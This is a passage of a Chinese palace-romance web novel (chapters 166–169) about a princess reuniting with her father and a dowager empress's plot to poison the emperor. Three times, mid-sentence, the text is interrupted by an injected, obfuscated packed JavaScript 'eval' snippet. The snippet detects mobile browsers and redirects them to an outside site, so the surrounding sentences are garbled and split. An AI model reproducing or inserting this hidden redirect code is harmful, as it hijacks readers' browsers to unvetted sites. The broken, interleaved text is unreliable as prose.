暗影犹豫了一下,还是开口道:“启禀……皇上,属下得知,刺杀瑾淑妃这件事……夜影大人好像……知晓。” 楚君昱闻言眸光一沉:“让他先去领三十军棍,再罚他去西山面壁思过三个月,若是想不出哪里错了,他也不必出来了!” “是。” 北宫喆和安文夕在马车上颠簸了十余日终于到了承安,刚入承安之时,北宫喆和安文夕变分道扬镳,北宫喆带着青玄和月清绝兄妹回了夏宫,而安文夕则和欢凉、袭匀还有陌姑姑一同去了青末山庄。 再次踏进青末山庄,安文夕顿时觉得心中滋味复杂,短短两个多月的时间,她兜兜转转,却再次回到了这里。 红绫见到她来,惊喜道:“娘娘,您终于回来了,皇上果然没有骗人。” “回来了。”安文夕淡淡点头,“红绫,上次的事情,我跟你道歉,让你为难了。” 红绫立即摆手道:“娘娘,您可折煞奴婢了。” 安文夕安置好了陌姑姑,然后将行李放到了上房,就迫不及待的朝北院走去。 父皇,夕儿终于可以见到你了! 第166章 父女相见 第一百六十六章父女相见 安文夕行至东院,然后顺着东院和竹林相连的曲径走进竹林,许是北宫喆早就吩咐道,这竹林边上隐藏着的羽卫并未出来阻拦她。 她深吸了一口气,踏进了竹林,按着北宫喆告诉她的破阵之法,一直左拐,终于出了竹林,她的心中顿时一阵轻快,看着前方不远处的竹屋,她的脚步一顿,手心中沁了一层细汗,她在紧张! “怎么不走了?”一声略显沧桑的声音从她身后传了过来。 “陌姑姑?”安文夕蓦地转身,她怎么来的? “本宫是跟着你的脚步来的。” 安文夕深深地看了陌姑姑一眼,虽然她现在的内力只剩了一成,可是她的轻功的确已经到了出神入化的境界。 安文夕抿了抿唇道:“走吧。” 踏进竹林北院,一片绿意葱荣顿时冲进眼帘,走了两步,视野变得开阔,大片的山茶花开的正艳,这是母后最喜欢的花!一旁的竹架上晾着刚洗好的衣物,大红的罗裙扯动了安文夕的心弦,这是母后最喜欢的大红色衣服! 父皇、母后就在这里了! 竹屋内,安莫霖小心翼翼的拿着湿帕给一旁的女子擦着手,神情闲淡而知足,待触到她脖子里戴着的帝王引,他手中的动作不由得一顿,北宫喆来信上说引魂丹又落到了曹暮烟手中,不知他的阿虞何时才能醒来。 “阿虞,外面的山茶花开了两个月了,都是你最喜欢的白色,想不想去看看?” 一旁的女子紧闭着双目,而安莫霖嘴角依然挂着淡淡的浅笑,给她擦过身子,又从一旁拿来一件红色罗裳给她换上。 “阿虞,今天的阳光不错,我们去外面晒晒太阳吧。”他说着将床上的女子抱起,放倒一旁的轮椅上。 竹屋外,安文夕脚步似有千金重,抬手刚触到竹门,又放了下来。 父皇他就在里面,还有她的母后,她本迫不及待,而现在不知为何她却莫名的退却了起来,这一幕好像变得十分不真实! 陌姑姑立在安文夕身后,看着她的犹豫,也不催促。 半晌,安文夕好似终于下定了决心一般,咬着下唇,抬手敲门。 “叩叩……叩叩……” 这两声敲门声在这寂静的住院里显得分外清晰和突兀,竹屋内的安莫霖的心蓦地悬了起来。 这是谁?北宫喆,还是…… 就在他犹豫不决时,又传出了一阵敲门声。 这里十分隐蔽,平常出了北宫喆也没有人来过,而北宫喆向来是敲两声然后霸气的推门而入,而现在,很明显不是北宫喆。 “是谁?”安莫霖摸向一旁的长剑。 熟悉而略显沧桑的声音从竹屋内传出,安文夕闻言蓦地捂住了嘴巴,眼眶酸涩,这是父皇的声音,她不会听错! “谁在外面?”安莫霖靠近竹门,握紧了身后的长剑。 竹门本是虚掩着的,安文夕抿了抿嘴角,鼓足了勇气一把推开竹门,声音哽咽,“父皇,是我。” 听着略带哭音的声音,安莫霖心底一颤,身后的长剑顿时跌落在地,他缓缓抬眸,对上门外那张熟悉的脸颊,眼睛阵阵发酸。 “父皇——” 面前的安莫霖头发花白了大半,就连眼底也添了几道细密的皱纹,文夕眼眶一热,两股热泪顺着花颊汩汩流下,一把扑进安莫霖的怀中,将头埋在他的胸口,就像小时候向他撒娇一般紧紧的贴在他的怀里。 “夕儿……” 这一声带着嘶哑,仿佛是倾注了太多的思念一般。 “夕儿,你瘦了,瘦了太多。”安莫霖反复打量着安文夕,不禁热泪盈眶,“这一年来,你吃的苦太多了。” “父皇,夕儿不苦。”安文夕嘴角挂起浅笑,她的视线说着安莫霖落到他身后的莫虞身上,惊道:“那……那是母后!” 莫虞一袭红衣,分外耀目,绝美的容颜却永远停在了二十七八岁,只是像是长久没有见过阳光一般,脸色过于惨白。 安莫霖拉着安文夕走到莫虞身侧,“夕儿,这是你母后。” 安文夕走过去握住了莫虞的手,冰凉的触感提醒着她面前的不过是一具尸体罢了。 “安大人。”一直站在竹屋门外的陌姑姑突然开口。 安莫霖这才发觉外面还有别的人,看了陌姑姑一瞬,然后将视线放在了陌姑姑一头银发之上,眸光划过一抹惊色。 “父皇,这是陌姑姑。” “陌姑姑?”安莫霖喃喃道,“你是贤妃娘娘!” “难得你还记得。” “我记得你的眼睛。”似是想到了什么,他突然道,“北宫喆的眼睛和你一模一样,你是——” “没错,喆儿是我的孩子!” “陌姑姑,进来吧。”安文夕淡淡开口。 竹屋并不算大,但是却被收拾的整整齐齐,里面的摆设全部是按着莫虞的喜好摆放的。 看着陌姑姑神色淡然,安莫霖道:“贤妃娘娘,你还在记恨着我当年自立为皇,夺了大夏的江山么?” “不记恨是假的,但是这么多年来,本宫也早就将一切看淡了。” “贤妃娘娘,喝茶。”安莫霖为她煮了杯茶,眸光再次不经意间掠过她满头银发,没想到她现在老了这么多,当年她可是大夏的第一美人! “如今本宫也早就不是贤妃娘娘了,你称我为陌姑姑便可。” 安文夕依偎在莫虞身侧,拉着她的手始终不愿松开。前一世她是孤儿,而这一世是她大安的公主,年幼之时,母后待她极好,让她感受到了从未体验过的母爱。 陌姑姑浅浅的抿着茶,看了眼莫虞,淡淡道:“安大人果然痴情。”竟然心甘情愿陪着一个**! 半晌,她的眸光一眯,目光落到莫虞脖子里带着的帝王引,身形一闪,一把夺了下来。 她盯着安莫霖厉声道:“这是哪来的?”当年夏瑜君临死之前恢复了一些神识,亲手将彻骨玉髓交给了她,后来她生下北宫喆后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16537708|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又亲自用内力将彻骨玉髓逼入了他的胸口,如今怎么会在这里? “这是北宫喆交给我的。” “不可能!”这是大夏帝王历代相传的东西,他怎么会交给他! 看着陌姑姑一脸不信的表情,安莫霖也不奇怪,微微垂眸,讲起了当年的往事,“当年,阿虞因为难产而亡,后来我才知道那是中了息子魂殇的缘故。” 说到这里,陌姑姑突然看了安文夕一眼,心中不由得冷哼,这曹暮烟当真是喜欢玩老把戏! “阿虞逝世不久,我就命人打造了一具水晶棺,而且阿虞口含琉璃珠,可保尸身百年不腐。月无痕听闻阿虞逝世,就和他夫人风飘雪共同炼了一颗引魂丹,可以救活阿虞。谁知,引魂丹还没有送到承安,有人将阿虞的尸身盗走,过了几日,我派出去的人就带回了一具被毁掉的尸身,我以为那就是阿虞。” “四年前,北宫喆还是北襄的九皇子,他被北襄皇帝扔到大安做质子。后来,他给我送了一幅画,他说他想用画中之人跟我换一件东西。那画中之人正是阿虞,而他想换的东西正是我大安江山。那北宫喆隐忍且善谋,是帝王之才,我当初就觉得他在北襄夺嫡中会取胜,没想到他的胃口竟然如此之大,竟然还想着将大安收入囊中。” “哼,大安?大安本就是大夏的。”陌姑姑不屑道,在她眼中,安莫霖就是窃**一般。 安莫霖也不恼,继续道:“我得知阿虞的尸身在北宫喆那里,就有了用江山来换阿虞的想法。毕竟,在我眼中,江山和阿虞相比,不算什么。” “好一个不算什么。”陌姑姑眼中掩去了讥意,多了一抹敬佩的光芒。 “我只有夕儿和柔儿两个女儿,本就后继无人,原本打算将皇位传于晟儿,可是晟儿并不适合担此重任,我一直也在犹豫。后来,我得知了北宫喆的**之后,就答应了他提出的交易,不过,我要他保证不会伤害任何大安百姓。” “后来……”安莫霖说到这里,看了眼安文夕。 后来的事情,安文夕都已经完全清楚了,因为曹太后从中作梗,取走了她的心头血,操控着她不仅掏了江向晚的心,还和楚君靖牵扯不清,让她和北宫喆生了嫌隙,一直误会…… 安文夕听安莫霖说完,现在已经明白了那天北宫喆所说的那句“安国国破本就是朕和安国君的一场交易”是什么意思了。 “之后,原本在枫月谷的引魂丹被北宫喆拿去救了江向晚,那江向晚本就是夕儿……所以我也不怪他。那琉璃珠护了阿虞尸身十年不腐,如今琉璃珠的精华也快消耗殆尽了。那北宫喆为了护住阿虞,便将他的帝王引给了阿虞。” “原来事情竟是这样。”陌姑姑喃喃。 “原本北宫喆答应父皇的引魂丹,却被曹太后夺了去,父皇可知此事。” 安莫霖点点头,“北宫喆已经传书与我,我知道这件事,有了帝王引和他送来的雪上冰莲,阿虞还可以坚持几年。只是,那引魂丹到了曹暮烟手中,只怕……” 第167章 朕想你了 第一百六十七章朕想你了 “你说的不错,那曹暮烟为人阴狠,要想从她手中夺回引魂丹绝非易事。”陌姑姑沉吟道。 “夕……夕儿……”许是陌姑姑从未如此亲切的叫过安文夕,一时竟有些不习惯。 “陌姑姑。”安文夕抬眸看向她。 “当初在长乐宫本宫欠你一份恩情,这引魂丹,本宫帮你去取。” 安文夕立即惊呼道:“这怎么可以,陌姑姑现在不比从前,更何况,现在我们不能和曹太后硬碰硬。” “你放心,本宫还不会傻到去送死。”陌姑姑说着将手中的帝王引给莫虞重新戴上,“既然是他交给莫虞的,那她就戴着吧。” “多谢陌姑姑。” “陌姑姑看了眼安文夕道:“这是他的东西,他想给谁,本宫不会干涉,你不必谢我。” “陌姑姑打算在这里长住?” “过段日子再说吧。” 安文夕淡淡点头,如今她见到了父皇母后,最后的心结也解开了,心中不禁轻快起来。 “夕儿,将你母后推回内室去吧。”安莫霖眸光轻柔,静静的看着一旁轮椅上的莫虞,嘴角慢慢牵起一抹浅淡笑意。 应该父皇有话要对陌姑姑说,这才故意将她支开。安文夕站起身子,只觉得脑袋一阵发晕,她立即用手撑了撑额头,然后一把抓住了轮椅扶手。 安文夕再次出来的时候,安莫霖和陌姑姑面前的茶盏中的茶水已经添了三次。 安莫霖看着安文夕道:“夕儿,你接下来有什么打算?” 安文夕抿了抿唇道:“以后,我和欢凉就在这里陪着父皇和母后。” 安莫霖闻言,眼中流露出一抹欣慰,他的夕儿向来懂事乖巧。 “对了父皇,夕儿还有一件事想问父皇。” “你说。” “当年是父皇将欢凉交给花姑姑抚养的,那欢凉的身份父皇想必是清楚的。” “夕儿是不是猜到了?” 安文夕淡淡点头,“夕儿猜测欢凉是当年世家曹家的血脉。” “不错,欢凉的确是曹大人的嫡长女。当年,曹家一夜之间化为灰烬,上下三百多人口全部葬身火海,待我所派的人赶到之时,只发现了被藏在冰窖里的欢凉,那时她才出生几日,当时已经在冰窖里冻得奄奄一息,我就将她交给了花琼。” “原来是这样。” 安莫霖敛眸道:“夕儿难道打算告诉欢凉。” “不,欢凉现在就很好,我不希望她去背负太多。” “你做得对。” “听陌姑姑说,你们一路从西楚赶来,十几日的奔波,还没有来得及休息就赶来了竹林北院,父皇看你脸色不好,不如先去休息吧。” 安文夕点点头,还没有来得及迈开脚步,她的眼前一黑,整个人朝后面倒去。 “夕儿——”安莫霖抱住倒下的安文夕,不禁蹙眉,“她这是怎么了?” “身子虚,底子差,再加上又接连奔波,所以气血不足。而且,她现在怀有身孕,才会更加容易产生疲倦。” “怀有身孕?”安莫霖惊道,“怀的谁的孩子?北宫喆的?” 陌姑姑点点头,而安莫霖顿时变了脸色,“原本我就不太赞成夕儿和北宫喆在一起,后来又出了那样的事情,他们更是有缘无分了,怎么现在却怀上了他的孩子?” 陌姑姑扯起一抹笑容,“他们本就两情相悦,如今有了孩子不很正常么。” “可是,这个孩子不能留,她和北宫喆终究不合适。” “为什么不能留?”陌姑姑厉声道。 “你可知她也中了息子魂殇,喆儿为了给她寻找七味草解毒,竟不惜以身犯险,差点将命丢在了幽冥山。这个孩子,能活下来着实不易!只要有我在,我绝不允许这个孩子有事!” 看着陌姑姑决绝的态度,安莫霖轻垂眸光,“这件事夕儿知道么?” “自然知道。” “既然她想要这个孩子,我也不会阻拦她,她自己决定便好。”安莫霖叹了口气,将安文夕抱起放在了竹床上,为她探了探脉。 “她如今已有将近两个月的身孕了。”陌姑姑补充道。 安文夕躺在榻上,缓缓睁开了眼睛,她记得刚才她是晕倒了,她还没有起身,就被安莫霖阻止道:“好好躺着。” 安文夕只觉得一阵疲倦铺天盖地而来,整个人沉沉睡去。 她再次醒来的时候已经是第二日午后了,她掀开重重床幔,看到一道刺目的阳光,放眼看去,离床榻不远处的雕花木椅上的男人那高大挺拔的身形渐渐清晰起来。 随即,她又打量了眼四周,这熟悉的摆设瞬间让她明白她现在身在上房。 “你醒了。”北宫喆见她醒来,放下了手中的书卷朝她走来。 “你怎么来了?”他两个多月不曾回宫,只怕奏折都要堆积成山了,哪还有时间来这里。 北宫喆坐在榻上,轻啄了一下安文夕的鼻头,轻道:“朕想你了。”这一句声音不大,犹如情人之间亲密呢喃。 那样在平常不过的语气像是说了无数遍一样熟练,安文夕心中蓦地升起一股暖意。 北宫喆见她眸光轻垂,只当她有些不好意思,看着她难得露出小女孩的娇羞,又得寸进尺的在她的樱唇上允了一口,“你想不想朕。” 安文夕迎着他略带炙热的目光道:“想,一直都在想。” “呵呵……”北宫喆心情十分愉悦,浅浅低笑,拿起一旁的衣服帮她穿衣。 “红绫。” 红绫从房外进来道:“奴婢在,皇上何时摆膳?” “一会再摆膳,你先打盆水来。” “你见过你父皇和母后了?” 安文夕点点头,“你的消息真灵通。” “你回到青末山庄不好好休息,偏偏先跑去竹林北院,自个儿的身体都不要了么?” “我知道了父皇还活着,我怎么能坐得住?”安文夕借着北宫喆的力道下了床,只觉得双腿一阵发酸,幸好她身侧的北宫喆眼疾手快的揽住了她。 “还逞能?” “不逞了,你好好的扶着我便是。” 用过了早膳,安文夕的身上才稍稍恢复了些力气,她坐在外面靠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16542826|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在北宫喆肩头,懒洋洋的晒着太阳。 “北宫喆,如今朝堂之上局势如何了?” “你操心这个做什么,好好养胎。” 安文夕勾唇,“你就是不告诉我,我也有办法知道。” “曹太后把持朝政,将朕原先提拔的新秀全部清除,如今朝野上下,遍布她的势力。” “你和江向晚的大婚准备的怎么样了?”安文夕语气清淡,仿佛是在讨论上午要吃什么午饭一般闲淡。 “好好地提这个做什么?”北宫喆眉头微蹙。 “江向晚身后是江佑城,而且江佑城的弟子众多,他在朝堂之中的地位牢固不可撼动,你需要他的势力。江佑城虽然老奸巨猾,但是在大事上绝不会站错阵营,不然他就不会从小小的七品县令一步步爬上左相的位子了。他现在看似唯曹太后所用,但是一旦江向晚做了皇后,他自然还是会选择皇上。” “夕儿倒是分析的通透,可是朕立谁为后你就不在乎么?” 安文夕抬眸,嘴角似有一抹苦涩的笑意,“你怎知我不在乎,你还记得我曾告诉你,我所向往的是一生一世一双人。可是,我一个**公主,在这一点上却帮不了你什么。” “夕儿……”北宫喆神情微动,紧紧的拥着怀里的小人,细密的吻落在她的发间。 “我等着你来解决好所有的女人之后再来娶我。”安文夕一瞬不瞬的盯着北宫喆的双眸,她知道,也许永远不会有这么一天。 “好,朕答应你。”北宫喆在她的眉心重重印下一吻。 “皇上,时辰不早了,该回宫了。”青玄现身提醒道,他也不愿意打扰皇上和瑾淑妃,可是皇上若是再不回宫,必会出现端倪! “夕儿,朕过几日再来看你。” “九哥哥……”安文夕从身后抱住了北宫喆,将双颊埋在他的背后浅浅低喃。 “夕儿。”北宫喆反手揽住安文夕,将她拥紧,安文夕握着他的手腕,摸到那串红豆,她的心中溢出了一抹欣慰。 “你放心,朕会一直戴着。”北宫喆轻轻拍着她的后背,“对了夕儿,左言从北襄洛城带回来了一个人,现在安置在了东院的厢房,你也许会认识。” 安文夕松开了北宫喆,抿唇道:“我知道了,你赶紧回宫吧。” “夕儿,照顾好自己,你爱吃的杨梅每日都会送来,朕走了。” 虽然眼中不舍,但是却在没有迈出半步,安文夕静静地看着北宫喆的背影逐渐消失。 “公主,人都走了,回房吧。” “好。”安文夕长长的舒了口气,想起北宫喆临走前的那句话,立即转了方向。 欢凉不解道:“公主,你去东院做什么?” “你跟来不就知道了么。” 东院厢房门口,左言看到安文夕朝这边走来,立即行礼道:“属下见过瑾淑妃。” “左言不必多礼,我听北宫喆说这里住了一个从北襄洛城来的人,他说我可能会认识。” “这人面如全非,容貌可怖,属下担心会吓到瑾淑妃。” “无妨,打开门吧。”安文夕浅浅道。 第168章 再见秋水 第一百六十八章再见秋水 打开房门之时,一股**的味道迎面而来,安文夕眉头略皱,胃中微微翻滚。 “公主,你没事吧。” “没事。”安文夕压下胃中的不适,和左言一起朝里走去。 没走多远,安文夕看到一个衣衫褴褛的男子大喇喇的躺在地上,头发凌乱不堪,好似长久没有梳理,如杂草一般胡乱的披散着,微微散发着酸臭。 “瑾淑妃,这个人他脾气很不稳定,你小心一点。” “我知道,你先下去吧。” 地上的人听到安文夕的声音,身子一震,双眸微眯,透过凌乱的长发打量着来人。 “公主,这人到底是谁,你又怎么会认识?”欢凉略皱眉头。 突然,躺在地上的人立即从地上起身,踉跄着脚步,慌乱的跑开了。 “这……”欢凉一滞。 一旁的左言见状立即折身过来,“瑾淑妃,这个人也非常怕见人。” 怕见人?难道是因为是熟人才怕么? 北宫喆说她也许会认识,可是眼前这个衰颓的男子真的是那个人么? “左言,你快拦住他!” “是,瑾淑妃。” 那人见左言追来,脚步顿时凌乱起来,慌不择路的跑出厢房,随即将门锁上。 看着那人的身形,安文夕双眸微眯,有一种不好的预感笼罩在心头。 “公主,我觉得他的身形好像……” 安文夕敛眸,“你也发现了。” 欢凉点点头,“虽然整个人更为消瘦,但是大体轮廓很像。可是公主,若真的是他的话,为何他要躲着我们。” 安文夕叹了口气,“大约是不想让我们见到他这样一面吧。” 的确是,任谁都不想让亲近之人看到自己最落魄的一面。 “啊,啊~”那人嘴里发出支支呜呜的单音节,躲避着左言的招式,但是却因为身体不便而显得十分笨拙。 安文夕上前一步,眸光落在那人身上,轻道:“秋水,是不是你?” 那人闻言,蓦地一滞,左言立即一把制住了他,任他怎么努力也挣脱不开。 “你真的是秋水么?”欢凉靠近他道。 那人立即将头低了下去,不去看欢凉。 “你怎么不说话?”欢凉蹙眉,“以前的秋水可是话最多的!” “他不说话,是因为他的舌头被割掉了,根本说不了话。”安文夕走到欢凉身边。 “什么?”欢凉顿时大惊,难以置信的看着对面的男子。 “秋水,是我,你不认识了么?” 谁知安文夕话音一落,那人蓦地跌坐在地上,抱着双膝呜咽着哭了起来。 现在安文夕几乎已经可以断定这就是秋水,秋水不过十七岁,还是个孩子,虽然比欢凉大了两岁,可是向来比欢凉还要孩子气一些。 “秋水,别怕。”安文夕俯身下来,慢慢理着他额前凌乱的长发。 “不……啊……”他立即侧身避开,紧紧的护着他的脑袋。 “秋水,你怎么变成了这个样子,这是谁做的!”欢凉眼眶微红,紧握着双拳,一副要**的模样。 “瑾淑妃娘娘,既然是故人,你们慢聊,属下去外面守着。”左言抱拳道。 安文夕点点头,“你退下吧。” “秋水……秋水……”欢凉忍不住啜泣起来,顾不得秋水一身酸臭,一把抱住了他道:“我是欢凉,你告诉我,谁把你害成这样的,我要为你报仇。” 半晌,秋水的身形慢慢松懈下来,缓缓从欢凉怀中抬起头来,伸手拨开额前的头发,露出一张皮肉翻卷,狰狞可怖的脸来,和无涯一样,他整张脸皆被人齐整割下。 “你们都看到我这副鬼样子,不怕么?”秋水嘴皮微动,却没有发出任何声音。 安文夕看懂了他的唇语,对他道:“不管你变成了什么样子,你都是我们的秋水,你都不应该自暴自弃。” “你可知,他们在我体内下了毒,我根本就活不久。”秋水嘴边泛起一丝苦笑。 “下了什么毒?”安文夕杏眸微眯。 “我也不知道,但是每到月初,身体就会陷入水深火热之中,生不如死,若是半年不服解药的话,就会七孔流血而亡。”秋水眼皮也被割掉,空荡荡的眼眶里只剩下大大的眼睛,分外渗人。 “你放心,你身上所种的毒我会想办法的。” “公主,我一会就传书给月公子,看看他是否有办法。” 安文夕点点头,“秋水,你可知无涯他……” “无涯他怎么了?”秋水变的激动起来,一把抓住了安文夕的手腕。 “他……他**。”安文夕垂眸,“他的骨灰如今就在上房。” 秋水闻言眸光一点点灰暗下去,片刻,他的双眸迸出一抹狠戾,“啊!”这一声太过悲戚与无奈。 “慕容清这个小人、败类!”秋水恨恨咬牙,这一次他的口型太过明显,欢凉也看了出来。 “是慕容清!”欢凉双眸血红,狠狠地咬着牙道。 “秋水,你告诉我,这半年多来,到底发生了什么好么?” 秋水微微闭上了眼睛,仿佛这半年来的经历太过不堪回首,半晌才缓缓点头。 “这样,你先去梳洗,换身干净的衣服,你明天再跟我细说好么?” “好。”秋水这一声倒说的清晰。 “公主,你身子不好,先回去吧,这里有我呢。”欢凉劝道。 安文夕点点头,看了秋水一眼,转身出了房间。 琼华殿外,彭安容姿容绝丽,双颊点了些胭脂,粉嫩晶莹,十分娇嫩可人,长裙曳地,勾勒出她高挑而玲珑有致的身材,使她看起来少了几分青涩而增添了几抹妩媚。她身后的大宫女手中提着食盒。 “奴才给彭婕妤请安。” “免了,张公公,太后娘娘体恤皇上,特让本宫给皇上煲了补汤,煎了药送来。”彭安容瞥了眼身后的食盒。 “回彭婕妤娘娘,皇上国事繁忙,只怕……” “怎么,又想像上一次那样打发本宫。”彭安容眼底盛满了讥笑。 “奴才不敢。”张海捧着拂尘,躬着身子道。如今,皇上并不在宫中,他无论如何也不能让彭婕妤进去啊! “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16542827|182633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不敢?本宫是奉了太后娘娘的旨意,前来看望皇上,你想抗旨么?” “彭婕妤娘娘,奴才哪敢抗旨,只是皇上早就吩咐了,这琼华殿不许别人踏进半步!” 彭安容不怒反笑道:“张公公,你可别糊弄本宫,瑾淑妃进得了这琼华殿,江小姐也进得了,难道本宫就进不得么?” “婕妤娘娘,还请您不要为难奴才。” “放肆!”彭安容的声音陡然变冷,狠狠地盯着张海道,“今日这琼华殿,本宫进定了!” “彭婕妤……” “张海,让她进来!”突然殿内传来一阵冰冷的声音。 张海心中顿时一动,皇上可终于回来了! 皇上竟然让她进去!彭安容心中浮起一抹巨大的喜悦,抬眸剜了眼张海,这个老阉奴实在是太可恶了,竟然拦她! 彭安容的脚步轻快起来,缓步踏入殿内,淡淡的檀香扑入鼻翼,彭安容的心跳逐渐加剧,她这还是第一次踏进这琼华殿。 烛火轻摇,北宫喆高大挺拔的身影映在屏风之上,那执笔批注的模样令人再也难以移开眼睛。 绕过雕龙髹漆屏风,北宫喆的身形白嫩的清晰,彭安容难以抑制心里的激动,脸上浮上两抹绯红。 “皇上,臣妾——” 北宫喆猛然抬头,扫了眼彭安容身后的那位宫女手中的食盒,淡淡道:“放下吧。” 彭安容心中一喜,“皇上,您尝尝臣妾煲的汤。” 北宫喆手中的朱笔一顿,不动声色的皱了皱眉。 而此时彭安容心中兴奋地厉害,哪里注意到了北宫喆渐冷的脸色,打开食盒,从食盒里端出来补汤和一碗药汤。 “啪!”北宫喆紧抿着唇,将手中的朱笔一放。 这不大的动静在寂静的殿内显得格外清晰,彭安容心里蓦地一惊,手中一滑,手中捧着的白瓷碗倏然打翻,浓稠的汤汁一股脑的洒在了龙案上,一时间,不少奏折沁满了油渍。 北宫喆看着龙案上油腻腻的汤汁,脸色黑了几分,一把从油腻的汤汁中捞出一个大红的同心结,然后拿着手帕分外爱惜的擦拭起来。 “啊,皇上……”彭安容惊呼道,“臣妾……臣妾不是故意的。”她慌忙从袖子里抽出帕子胡乱的擦了起来。 “够了,你退下吧。” “皇上,臣妾……”彭安容顿时花容失色,完了,她这次算是将自己的形象毁了个彻底。 “退下!”北宫喆隐忍怒气道。 彭安容抿了抿唇,心知已经无法挽回,咬牙道:“皇上,这药汤是太后娘娘让臣妾给您送来的,您不要忘记喝,臣妾告退。” “药汤?朕又没病喝什么药汤,你这是盼着朕死么?” 彭安容闻言身子顿时一矮,“臣妾不敢,臣妾不敢。” “滚!”北宫喆厉声道。 彭安容双腿一软,不敢去看那发怒的帝王,由着她身后的宫女搀着她出了琼华殿。 彭安容走后,月清绝不知从什么地方摇着羽扇走了过来,撇嘴道:“你看你把人家吓得。” 北宫喆眸光清冽,对着殿外吩咐道:“张海,打盆水来!” 第169章 斩草除根 第一百六十九章斩草除根 北宫喆将大红的同心结放入盆中,小心翼翼的洗去上面的油渍,然后一点点用巾帕抿干。 “不就是一个同心结么,看你紧张的。” 北宫喆手中的动作一顿,一道锐利的刀子眼扫了过去,月清绝立即禁了口。 “皇上,奴才让人将这里收拾一下吧。”张海小心翼翼道。 “慢着,先不急着收拾,你下去吧。”月清绝一把收了羽扇,嗅了嗅龙案上还未擦拭干净的汤汁,眉头微凝,然后又端起一旁的药汤嗅了嗅。 “这是曹太后让她送来的。”北宫喆淡道,自从他令曹暮烟小产,和她捅破脸皮之后,除了在人前,他再也没有称呼她为母后。 月清绝点头,“单看这汤药,的确是强身健体的,而这补汤么,咳咳……是壮阳的。”月清绝似笑非笑的冲他眨了眨眼。 “两种平常的东西若是同时饮用……”北宫喆说着,黑瞳蓦地骤缩。 “你说的不错,一旦这两种东西一同饮下,会加速你体内忘情蛊的成长!” 果然是这样! “你这个妃子又被曹太后收买了,听闻你不在宫里的时间,就数她往长乐宫走得最勤了。”月清绝叹了口气。 “彭仁武倒是忠心耿耿,只是他生了个没脑子的女儿!”北宫喆将擦拭干净的同心结放进了怀中。 月清绝再次摇起羽扇,对北宫喆道:“明日我想去青末山庄。” “这几日曹太后盯得紧,你过几日再去吧。” “刚才小丫头给我传书了一封,从洛城救回来的那个人果然是秋水,他体内中了剧毒,想让我去瞧瞧。” 北宫喆双眸微眯,“过两日,朕安排你去。” “行。你现在的记忆开始减退了么?” 北宫喆淡淡点头,嘴角攒出一抹苦笑,“朕已经不记得和她初见的场景了。” “你不妨将你们之间的点滴记下来,兴许你可以加固记忆。” 北宫喆微微点头,眸光逐渐变得深远。 彭安容从琼华殿内出来,还没有回到素芳阁,便被曹太后身边的宫女请到了长乐宫。 长乐宫的气氛一如往日那般阴森,即使彭安容来了许多次,可是她依然觉得毛骨悚然,看着墙壁上挂着的泛着幽光的油灯,她的心里一阵阵发毛。 “彭婕妤,太后娘娘等您多时了,你自己进去吧,奴婢告退。”那位宫女引着她走到内殿门口便转身出去了。 彭安容只觉得前方的威压更甚,压迫的她一阵阵喘不过气来。她深吸了一口气,踏进了内殿,眼尾的余光淡扫了高坐上那雍容华贵的女人,忙福身行礼道:“臣妾给太后娘娘请安。” “起来吧,哀家问你,你给皇帝送去的补药他可是喝了?”上方的声音不带一丝感情,隐约之间透着冰冷。 彭安容咬了咬牙,扑通跪在地上,垂头道:“回太后娘娘,臣妾没用,不小心将补汤……洒了。” “洒了?”曹暮烟厉声道,“没用的东西!”一旦他没有喝,就必定会被月清绝查出来,那她以后再想下手就难了! 曹暮烟眼中泛着怒意,立即从软榻上起身,随手拿来一旁的青瓷小盏,朝彭安容砸去。 曹太后向来喜怒无常,这是众人皆知的,彭安容早就料到曹太后不会轻易饶了她,已经做好了挨打的准备,谁知那青瓷小盏在离她不远处停了下来,登时化作了一抔齑粉。 彭安容眼底大骇,这小盏若是砸到她,她必然毁容! “这就怕了?瞧你那点出息!”曹暮烟毫不客气的讥讽道。 “臣妾不敢。” “以后做事不要再如此****躁躁的,否则像你这个样子,何时才能抓住皇帝的心呢?” 彭安容咬牙,“是,臣妾知晓了。” “好了,天色已晚,你退下吧。”曹暮烟声音闲淡却积威逼人。 “是,臣妾告退。”彭安容心中陡然一松。 “慢着——” 曹暮烟话音未落,彭安容整颗心再次悬了起来,微垂着眸光,不敢与曹暮烟视线相接。 “只怕这次皇帝是恼了你,你最近不要在皇帝眼皮子底下晃悠。” 